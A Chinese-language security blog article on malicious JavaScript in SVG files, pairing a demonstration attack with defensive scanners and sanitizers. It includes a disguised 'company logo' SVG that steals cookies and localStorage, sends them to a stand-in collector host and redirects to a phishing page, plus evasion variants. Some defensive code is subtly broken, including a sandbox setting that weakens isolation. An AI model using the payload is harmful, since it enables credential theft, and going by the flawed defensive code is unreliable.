SVG安全威胁:从技术原理到防护策略

SVG文件中的恶意JavaScript代码正成为新型攻击手段。通过深入解析SVG结构及防护策略,本文揭示如何有效应对这一威胁。

SVG安全威胁:从技术原理到防护策略
Photo by RoonZ nl / Unsplash

近期安全研究报告显示,攻击者正在利用SVG文件中嵌入的恶意JavaScript代码进行跨平台攻击,这类攻击通过钓鱼邮件或云存储平台如Dropbox、Google Drive等进行传播,可能影响绝大多数主流浏览器用户。更令人担忧的是,一项新的钓鱼攻击活动被发现利用SVG文件传递基于JavaScript的重定向攻击,使用看似无害的图像文件隐藏混淆的脚本逻辑。这种攻击手段正成为网络安全领域的新威胁。

SVG安全威胁的技术原理

SVG的结构特性

SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,它的独特之处在于支持嵌入JavaScript代码。与传统的JPEG、PNG等静态图片格式不同,SVG本质上是一个XML文档,可以包含以下危险元素:

<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    <![CDATA[
      // 恶意JavaScript代码
      alert('XSS攻击');
      // 可能的恶意行为:
      // - 窃取用户Cookie
      // - 重定向到恶意网站
      // - 执行未经授权的操作
    ]]>
  </script>
</svg>

完整攻击示例演示

让我们通过一个完整的示例来了解攻击者是如何实现这种攻击的:

第一步:创建恶意SVG文件

攻击者创建一个看似无害的SVG文件 company_logo.svg

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="100">
  <!-- 看起来正常的图形元素 -->
  <rect x="10" y="10" width="180" height="80" 
        fill="#3498db" rx="5"/>
  <text x="100" y="55" text-anchor="middle" 
        fill="white" font-family="Arial" font-size="16">
    Company Logo
  </text>
  
  <!-- 隐藏的恶意代码 -->
  <script type="text/javascript">
    <![CDATA[
      // 窃取用户Cookie
      function stealData() {
        var cookies = document.cookie;
        var userAgent = navigator.userAgent;
        var currentUrl = window.location.href;
        
        // 收集敏感信息
        var data = {
          cookies: cookies,
          userAgent: userAgent,
          url: currentUrl,
          localStorage: JSON.stringify(localStorage),
          timestamp: new Date().toISOString()
        };
        
        // 发送到攻击者服务器
        var xhr = new XMLHttpRequest();
        xhr.open('POST', 'https://evil-collector.com/collect', true);
        xhr.setRequestHeader('Content-Type', 'application/json');
        xhr.send(JSON.stringify(data));
        
        // 重定向到钓鱼网站
        setTimeout(function() {
          window.location.href = 'https://fake-login-site.com/login';
        }, 2000);
      }
      
      // 立即执行
      stealData();
    ]]>
  </script>
</svg>

注意:以上URL均为虚构,仅用于演示。

第二步:传播恶意文件

攻击者通过多种途径传播这个文件:

方式1:钓鱼邮件

主题:公司新Logo设计方案
内容:请查看附件中的新Logo设计,需要您的反馈意见。
附件:company_logo.svg

方式2:云存储分享

分享链接:https://drive.google.com/file/d/abc123/company_logo.svg
消息:这是我们的新Logo设计,请下载查看

方式3:网站上传

  • 攻击者在允许SVG上传的网站(如设计素材网站)上传恶意文件
  • 其他用户下载使用时触发攻击

第三步:用户触发攻击

当受害者执行以下任一操作时,攻击被触发:

  1. 双击打开SVG文件(默认浏览器打开)
  2. 在网页中查看SVG(直接渲染)
  3. 拖拽到浏览器窗口

第四步:攻击执行流程

用户打开SVG文件
    ↓
浏览器解析XML结构
    ↓
发现<script>标签
    ↓
执行JavaScript代码
    ↓
收集用户数据:
├── Cookies(可能包含登录凭据)
├── LocalStorage数据
├── 当前页面URL
└── 浏览器信息
    ↓
发送数据到攻击者服务器
    ↓
重定向用户到钓鱼网站

攻击的隐蔽性分析

这种攻击特别危险的原因:

  1. 视觉欺骗:SVG文件显示正常的图形内容,用户看不出异常
  2. 文件伪装.svg扩展名让人以为是安全的图片文件
  3. 即时执行:一旦打开就立即执行,无需用户额外操作
  4. 绕过检测:许多安全软件主要针对.exe等可执行文件,对SVG检查较少
  5. 跨域攻击:如果在网站上显示,可能绕过同源策略的某些限制

高级攻击变种

变种1:延时执行

// 延迟执行以避免检测
setTimeout(function() {
  // 恶意代码
}, Math.random() * 10000);

变种2:条件触发

// 只在特定条件下执行
if (document.domain.includes('bank') || 
    document.cookie.includes('session')) {
  // 执行攻击
}

变种3:混淆代码

// 使用Base64编码混淆
eval(atob('Y29uc29sZS5sb2coJ2F0dGFjaycpOw=='));

平台方的检测和预防策略

针对恶意SVG文件的三种主要传播途径,不同类型的平台需要采用相应的防护策略:

邮件平台的防护策略

1. 附件安全扫描

多层次文件检测

import re
import xml.etree.ElementTree as ET
from email.mime.multipart import MIMEMultipart

class EmailSVGScanner:
    def __init__(self):
        self.dangerous_patterns = [
            r'<script[^>]*>.*?</script>',
            r'javascript:',
            r'on\w+\s*=\s*["\'][^"\']*["\']',
            r'eval\s*\(',
            r'XMLHttpRequest',
            r'fetch\s*\(',
            r'window\.location',
            r'document\.cookie'
        ]
    
    def scan_email_attachment(self, attachment_content, filename):
        if not filename.lower().endswith('.svg'):
            return True, []
        
        threats = []
        
        # 1. 正则表达式快速扫描
        content_str = attachment_content.decode('utf-8', errors='ignore')
        for pattern in self.dangerous_patterns:
            matches = re.findall(pattern, content_str, re.IGNORECASE | re.DOTALL)
            if matches:
                threats.append(f"检测到可疑代码模式: {pattern}")
        
        # 2. XML结构分析
        try:
            root = ET.fromstring(attachment_content)
            
            # 检查script标签
            scripts = root.findall('.//script')
            if scripts:
                threats.append(f"发现 {len(scripts)} 个script标签")
                for script in scripts:
                    if script.text and len(script.text.strip()) > 50:
                        threats.append("发现复杂JavaScript代码")
            
            # 检查外部引用
            for elem in root.iter():
                href = elem.get('href')
                if href and (href.startswith('http') or href.startswith('javascript:')):
                    threats.append(f"发现外部链接: {href[:50]}...")
        
        except ET.ParseError:
            threats.append("SVG文件格式异常")
        
        is_safe = len(threats) == 0
        return is_safe, threats

# 邮件网关集成示例
def email_gateway_filter(email):
    scanner = EmailSVGScanner()
    
    for attachment in email.attachments:
        is_safe, threats = scanner.scan_email_attachment(
            attachment.content, 
            attachment.filename
        )
        
        if not is_safe:
            # 记录威胁日志
            log_threat(email.sender, attachment.filename, threats)
            
            # 采取行动
            return {
                'action': 'quarantine',
                'reason': f"检测到恶意SVG文件: {', '.join(threats)}",
                'attachment': attachment.filename
            }
    
    return {'action': 'deliver'}

2. 发送者信誉系统

class SenderReputationSystem:
    def __init__(self):
        self.reputation_db = {}
        self.suspicious_patterns = [
            'urgent', 'immediate', 'action required',
            'logo', 'design', 'review'  # SVG攻击常用词汇
        ]
    
    def evaluate_svg_email(self, sender_email, subject, body):
        risk_score = 0
        
        # 发送者历史
        sender_rep = self.reputation_db.get(sender_email, 0)
        if sender_rep < -50:
            risk_score += 30
        
        # 内容分析
        content = (subject + ' ' + body).lower()
        for pattern in self.suspicious_patterns:
            if pattern in content:
                risk_score += 10
        
        # SVG附件 + 可疑内容 = 高风险
        if risk_score > 40:
            return 'HIGH_RISK'
        elif risk_score > 20:
            return 'MEDIUM_RISK'
        else:
            return 'LOW_RISK'

云存储平台的防护策略

1. 上传时实时扫描

import hashlib
import requests
from concurrent.futures import ThreadPoolExecutor

class CloudStorageSVGProtection:
    def __init__(self):
        self.malware_signatures = set()  # 已知恶意SVG的哈希值
        self.scan_api_endpoint = "https://internal-security-api.com/scan"
    
    def upload_security_check(self, file_content, filename, user_id):
        if not filename.lower().endswith('.svg'):
            return {'allowed': True}
        
        # 1. 快速哈希检查
        file_hash = hashlib.sha256(file_content).hexdigest()
        if file_hash in self.malware_signatures:
            self.log_blocked_upload(user_id, filename, "已知恶意文件")
            return {
                'allowed': False, 
                'reason': '文件被识别为恶意内容'
            }
        
        # 2. 内容深度扫描
        scan_result = self.deep_scan_svg(file_content)
        if scan_result['threats']:
            self.quarantine_file(file_content, filename, user_id)
            return {
                'allowed': False,
                'reason': f"检测到安全威胁: {scan_result['threats'][0]}"
            }
        
        # 3. 自动净化处理
        if scan_result['needs_sanitization']:
            sanitized_content = self.sanitize_svg(file_content)
            return {
                'allowed': True,
                'content': sanitized_content,
                'message': '文件已自动清理潜在风险内容'
            }
        
        return {'allowed': True}
    
    def sanitize_svg(self, svg_content):
        """移除潜在危险元素"""
        try:
            root = ET.fromstring(svg_content)
            
            # 移除所有script标签
            for script in root.findall('.//script'):
                script.getparent().remove(script)
            
            # 移除事件处理器属性
            for elem in root.iter():
                attrs_to_remove = []
                for attr in elem.attrib:
                    if attr.lower().startswith('on'):
                        attrs_to_remove.append(attr)
                    elif 'javascript:' in elem.attrib[attr].lower():
                        attrs_to_remove.append(attr)
                
                for attr in attrs_to_remove:
                    del elem.attrib[attr]
            
            return ET.tostring(root, encoding='unicode')
        except:
            return None

2. 分享链接监控

class ShareLinkMonitoring:
    def __init__(self):
        self.suspicious_share_patterns = []
        self.download_analytics = {}
    
    def monitor_svg_shares(self, file_id, sharer_id, share_settings):
        # 分析分享行为
        risk_indicators = []
        
        # 1. 分享频率异常
        recent_shares = self.get_recent_shares(sharer_id, hours=24)
        if len([s for s in recent_shares if s.endswith('.svg')]) > 10:
            risk_indicators.append('SVG文件分享频率异常')
        
        # 2. 公开分享新注册用户的文件
        if self.is_new_user(sharer_id, days=7) and share_settings['public']:
            risk_indicators.append('新用户公开分享文件')
        
        # 3. 大量下载但无互动
        if file_id in self.download_analytics:
            stats = self.download_analytics[file_id]
            if stats['downloads'] > 100 and stats['avg_view_time'] < 5:
                risk_indicators.append('下载异常(可能为自动化攻击)')
        
        if risk_indicators:
            return {
                'action': 'restrict_sharing',
                'risks': risk_indicators
            }
        
        return {'action': 'allow'}

网站平台的防护策略

1. 用户生成内容(UGC)防护

class UGCSecuritySystem:
    def __init__(self):
        self.content_filter = SVGContentFilter()
        self.user_trust_system = UserTrustSystem()
    
    def handle_svg_upload(self, user_id, file_content, metadata):
        user_trust = self.user_trust_system.get_trust_level(user_id)
        
        # 根据用户信誉采用不同策略
        if user_trust == 'LOW':
            # 低信誉用户:严格检查
            result = self.strict_svg_validation(file_content)
            if not result['safe']:
                return {'rejected': True, 'reason': result['reason']}
        
        elif user_trust == 'MEDIUM':
            # 中等信誉:标准检查 + 沙箱预览
            if not self.standard_svg_check(file_content):
                return {'rejected': True, 'reason': '内容安全检查未通过'}
            
            # 创建沙箱预览
            preview_url = self.create_sandboxed_preview(file_content)
            return {'accepted': True, 'preview_url': preview_url}
        
        else:  # HIGH trust
            # 高信誉用户:基础检查
            if self.basic_svg_check(file_content):
                return {'accepted': True}
        
        return {'rejected': True, 'reason': '未知错误'}
    
    def create_sandboxed_preview(self, svg_content):
        """创建沙箱环境预览"""
        # 移除所有脚本内容
        safe_content = self.content_filter.remove_scripts(svg_content)
        
        # 在隔离域名下提供预览
        preview_id = self.generate_preview_id()
        self.store_preview(preview_id, safe_content)
        
        return f"https://sandbox-preview.platform.com/{preview_id}"

2. 自动化检测系统

class AutomatedThreatDetection:
    def __init__(self):
        self.ml_classifier = self.load_ml_model()
        self.pattern_matcher = AdvancedPatternMatcher()
    
    def analyze_svg_batch(self, svg_files):
        """批量分析SVG文件"""
        results = []
        
        with ThreadPoolExecutor(max_workers=10) as executor:
            futures = [
                executor.submit(self.analyze_single_svg, svg_file) 
                for svg_file in svg_files
            ]
            
            for future in futures:
                try:
                    result = future.result(timeout=30)
                    results.append(result)
                except Exception as e:
                    results.append({'error': str(e)})
        
        return results
    
    def analyze_single_svg(self, svg_file):
        features = self.extract_features(svg_file['content'])
        
        # 机器学习分类
        ml_score = self.ml_classifier.predict_proba([features])[0][1]
        
        # 规则匹配
        pattern_matches = self.pattern_matcher.scan(svg_file['content'])
        
        # 综合评分
        risk_score = (ml_score * 0.7) + (len(pattern_matches) * 0.1)
        
        return {
            'file_id': svg_file['id'],
            'risk_score': risk_score,
            'threats': pattern_matches,
            'recommendation': 'block' if risk_score > 0.8 else 'allow'
        }

通用平台防护最佳实践

1. 多层防御架构

class MultiLayerDefense:
    def __init__(self):
        self.layers = [
            FileTypeValidator(),      # 第1层:文件类型验证
            ContentScanner(),         # 第2层:内容扫描
            BehaviorAnalyzer(),       # 第3层:行为分析
            ReputationChecker(),      # 第4层:声誉检查
            SandboxAnalyzer()         # 第5层:沙箱分析
        ]
    
    def evaluate_file(self, file_data):
        results = []
        risk_score = 0
        
        for layer in self.layers:
            try:
                result = layer.analyze(file_data)
                results.append(result)
                risk_score += result.get('risk_points', 0)
                
                # 如果某层检测到高风险,立即停止
                if result.get('risk_level') == 'CRITICAL':
                    break
                    
            except Exception as e:
                results.append({'layer': layer.__class__.__name__, 'error': str(e)})
        
        return {
            'final_risk_score': risk_score,
            'layer_results': results,
            'recommendation': self.get_recommendation(risk_score)
        }

2. 实时监控和响应

class ThreatResponseSystem:
    def __init__(self):
        self.alert_thresholds = {
            'svg_uploads_per_hour': 50,
            'malicious_detections_per_day': 5,
            'user_reports_per_file': 3
        }
    
    def monitor_svg_activity(self):
        """实时监控SVG相关活动"""
        current_metrics = self.collect_metrics()
        
        for metric, value in current_metrics.items():
            if value > self.alert_thresholds.get(metric, float('inf')):
                self.trigger_alert(metric, value)
                self.auto_response(metric, value)
    
    def auto_response(self, metric_type, value):
        """自动响应威胁"""
        if metric_type == 'malicious_detections_per_day':
            # 暂时提高SVG文件的检测敏感度
            self.increase_detection_sensitivity()
        
        elif metric_type == 'svg_uploads_per_hour':
            # 可能的批量攻击,启用限流
            self.enable_rate_limiting('svg_uploads')
        
        elif metric_type == 'user_reports_per_file':
            # 用户举报,立即隔离文件
            self.quarantine_reported_files()

这些防护策略的关键是:

  1. 多层防御:不依赖单一检测方法
  2. 实时监控:及时发现和响应威胁
  3. 用户分级:根据用户信誉采用不同策略
  4. 自动化处理:减少人工干预,提高响应速度
  5. 持续学习:根据新威胁更新检测规则

网站的SVG安全防护策略

对于任何处理用户上传SVG文件的网站,都需要实施多层次的安全防护措施:

1. 文件上传验证

严格的文件类型检查

// 不仅检查文件扩展名,还要验证MIME类型和文件内容
function validateSVGUpload(file) {
    // 检查MIME类型
    if (file.type !== 'image/svg+xml') {
        return false;
    }
    
    // 检查文件内容的XML结构
    const parser = new DOMParser();
    const doc = parser.parseFromString(fileContent, 'image/svg+xml');
    return !doc.querySelector('parsererror');
}

2. 内容安全扫描

禁用危险标签和属性

import xml.etree.ElementTree as ET
import re

DANGEROUS_TAGS = ['script', 'object', 'embed', 'iframe']
DANGEROUS_ATTRIBUTES = ['onload', 'onclick', 'onmouseover', 'onerror']
#这只是一个部分列表,实际应用中应包含更全面的事件处理器,例如,还包括 onbegin、onfocusin、onactivate 等。

def sanitize_svg(svg_content):
    try:
        root = ET.fromstring(svg_content)
        
        # 移除危险标签
        for tag in DANGEROUS_TAGS:
            for elem in root.iter(tag):
                elem.getparent().remove(elem)
        
        # 移除危险属性
        for elem in root.iter():
            for attr in list(elem.attrib.keys()):
                if attr.lower() in DANGEROUS_ATTRIBUTES:
                    del elem.attrib[attr]
                # 检查属性值中的JavaScript
                elif 'javascript:' in elem.attrib[attr].lower():
                    del elem.attrib[attr]
        
        return ET.tostring(root, encoding='unicode')
    except ET.ParseError:
        return None

3. 内容安全策略(CSP)

在网站头部添加严格的CSP策略:

<meta http-equiv="Content-Security-Policy"
      content="default-src 'self';
               script-src 'self';
               object-src 'none';
               base-uri 'self';">

4. 沙箱环境

对于需要处理SVG文件的网站,使用iframe沙箱:

<iframe src="svg-preview.html" 
        sandbox="allow-scripts allow-same-origin"
        style="width: 300px; height: 300px;">
</iframe>

5. 服务端渲染

将SVG转换为静态图片格式:

from cairosvg import svg2png
import base64

def convert_svg_to_png(svg_content):
    try:
        png_data = svg2png(bytestring=svg_content.encode('utf-8'))
        return base64.b64encode(png_data).decode('utf-8')
    except Exception as e:
        return None

最佳实践建议

对于网站管理员:

  1. 实施严格的上传验证:不仅检查文件扩展名,还要解析文件内容
  2. 使用白名单机制:只允许安全的SVG标签和属性
  3. 定期安全审计:对上传的文件进行定期扫描
  4. 用户教育:告知用户潜在风险,建议下载前先预览

对于用户:

  1. 谨慎下载:只从可信的网站下载SVG文件
  2. 使用安全软件:保持反病毒软件更新
  3. 浏览器安全:使用最新版本的浏览器,启用安全功能
  4. 文件检查:下载后用文本编辑器检查SVG文件内容

技术检测方案

自动化扫描工具

import re
from lxml import etree

class SVGSecurityScanner:
    def __init__(self):
        self.dangerous_patterns = [
            r'<script.*?>.*?</script>',
            r'javascript:',
            r'on\w+\s*=',
            r'<iframe.*?>',
            r'<object.*?>',
            r'<embed.*?>'
        ]
    
    def scan_svg(self, svg_content):
        threats = []
        
        # 正则表达式检查
        for pattern in self.dangerous_patterns:
            if re.search(pattern, svg_content, re.IGNORECASE | re.DOTALL):
                threats.append(f"发现可疑模式: {pattern}")
        
        # XML解析检查
        try:
            root = etree.fromstring(svg_content.encode())
            
            # 检查script标签
            scripts = root.xpath('.//script')
            if scripts:
                threats.append(f"发现 {len(scripts)} 个script标签")
            
            # 检查事件处理器
            elements_with_events = root.xpath('.//*[@*[starts-with(name(), "on")]]')
            if elements_with_events:
                threats.append(f"发现 {len(elements_with_events)} 个事件处理器")
                
        except etree.XMLSyntaxError as e:
            threats.append(f"XML解析错误: {str(e)}")
        
        return threats

结论

SVG文件的安全威胁是一个不容忽视的问题,特别是对于允许用户上传和分享SVG文件的网站。通过实施严格的验证机制、内容过滤和安全策略,我们可以显著降低这类攻击的风险。

重要的是要认识到,安全防护是一个持续的过程,需要随着威胁环境的变化不断更新和改进防护措施。对于网站运营者而言,投资于强大的安全基础设施和定期的安全审计是保护用户免受SVG相关威胁的关键。

同时,用户教育也是安全生态系统的重要组成部分。通过提高用户对这类威胁的认知,我们可以建立一个更安全的网络环境。

Read more

心智难民

心智难民

心智,按照牛津词典的定义,是获取和运用知识的能力。 互联网是一场技术革命,给每个人提供了机会。社会是由阶层组成的,每一场技术革命都促使了不同阶层的重新洗牌,或者说阶层分化。网络世界的阶层分化是什么样的呢?大概可以分为两个大的阶层:一类是接受高质量信息的精英阶层,另外一类是消费网络上的垃圾信息、接受劣质信息的乌合之众。 当然,这里说的“免费”是打引号的。因为它不仅不免费,而且一点也不便宜。 人们喜欢免费的东西。但是世界上除了阳光和空气,没什么是真正免费的东西,只是支付的方式不一样——有的直接用钱付,有的间接用钱付;有些用生活质量付,有些用人生的潜力和机会付。 You must pay for everything in this world, one way or another. Nothing is free. 你终究会以不同的方式付费,天下没有免费的午餐。 如果一个人只接受网上“免费”的信息,就像是只吃劣质食品一样,结果就是精神世界的劣质化。因为接受信息质量的差异,

By 王圆圆
Crazy World

Crazy World

by Jeff Daniels 译文 我看见一个年轻女孩笑了, 因为他刚说的话。 我看着他坠入她那双美丽的眼睛里, 脸红的像玫瑰。 我看见一位老人在走路, 妻子陪在他身旁。 我看着他俯身握住她的手, 天啊,我竟然哭了。 这疯狂的世界越来越疯狂, 我有什么资格评判呢? 但值得庆幸的是, 在这个充满仇恨的世界里, 还有人在用心相爱着。 我看见狗摇着尾巴, 看见孩子在奔跑。 我也曾在无数个日落里, 对着夕阳唱着歌。 我看见有人为别人扶着门, 看见陌生人握手寒暄。 我看见她和那个曾经错过的旧情人拥吻, 时间比计划中的更长了一些。 这个疯狂的世界继续疯狂着, 但我能说什么? 好在这个充满恨的世界里, 还有人在用心相爱着。 我看见祈祷被回应, 看见了六月里的新娘。 我骄傲地说,我当时见到了银河, 对着月光下的人们闪烁。 我看见送出的一打玫瑰, 见过她满心的欢喜藏不住, 我见过的已经足够, 让我明白我所知道的, 也坚信我依然相信的。 这疯狂的世界越来越疯狂, 我能说什么? 但值得庆幸的是, 在这个充满仇恨的世界里, 还有人相爱着。 原文 I’ve seen a

By 王圆圆
人是能被改变的吗?

人是能被改变的吗?

想改变别人基本上是在浪费时间。这个话题听起来简单,但仔细想想,我们生活中有太多时候都在做这种徒劳的事。 生活中的人大概可以分成三类: 喜欢的人 - 这些人即使有缺点你也能接受。你们相处舒服,他们做什么你都能理解,就算偶尔看不惯,也不会想着要去改造他们。 无所谓的人 - 占了我们生活中的大多数。同事、路人、网上的陌生人,他们怎么生活、怎么思考,其实跟你一点关系都没有。 讨厌的人 - 那些让你感到不舒服的人。可能是价值观完全相反,可能是行为方式你无法忍受。 既然人际关系本来就是这样,为什么还要费劲去改变谁呢?尤其是那些无所谓的人和讨厌的人,你花时间去说服他们、纠正他们,最后累的是自己。有这个功夫,不如多看两本书,学点新东西,改变一下自己。 美国人教小孩一个词:Walk Away。意思就是遇到麻烦的人、不讲理的人,转身走就完了,不用纠缠。 这听起来好像是逃避,但其实是一种很成熟的处理方式。你不是害怕对方,而是知道跟这种人浪费时间没有意义。 有个作家Charles Portis说过一句话挺有意思的:"

By 王圆圆
留守的代价

留守的代价

我有一个90后的朋友,她的故事让我久久无法平静。 她13岁那年,初中还没读完就辍学了,跟着同乡去了南方打工。六年后,在家人的安排下,她嫁给了邻村一个老实人家的儿子。没有恋爱,没有了解,只有两个家庭觉得"差不多,能过"的判断。 婚后他们一起在宁波工作,陆续有了两个女儿。按理说,一家四口,日子虽苦但也算完整。但我们那个地方,重男轻女的观念像一只看不见的手,推着她生下了第三个孩子——终于是个儿子。 三个孩子陆续到了上学的年龄,他们却一直在外打工。孩子成了留守儿童,跟着爷爷奶奶在老家,一年见父母一两次。视频通话里,孩子越来越沉默,成绩越来越差,老师反映性格也出现了问题。 她做了一个决定:回家照顾孩子。 他继续在外地送快递。从此,这个家庭被一分为二——一边是她独自面对三个问题儿童的混乱和辛苦,一边是他在城市里每天十几个小时的奔波劳累。 本来就没什么感情基础的两个人,在这种分离中,最后那点维系也消磨殆尽了。 最近两年,他给家里的生活费越来越少。后来她才知道,他在外面有了别人,赚的钱不多,都花在了新欢身上。

By 王圆圆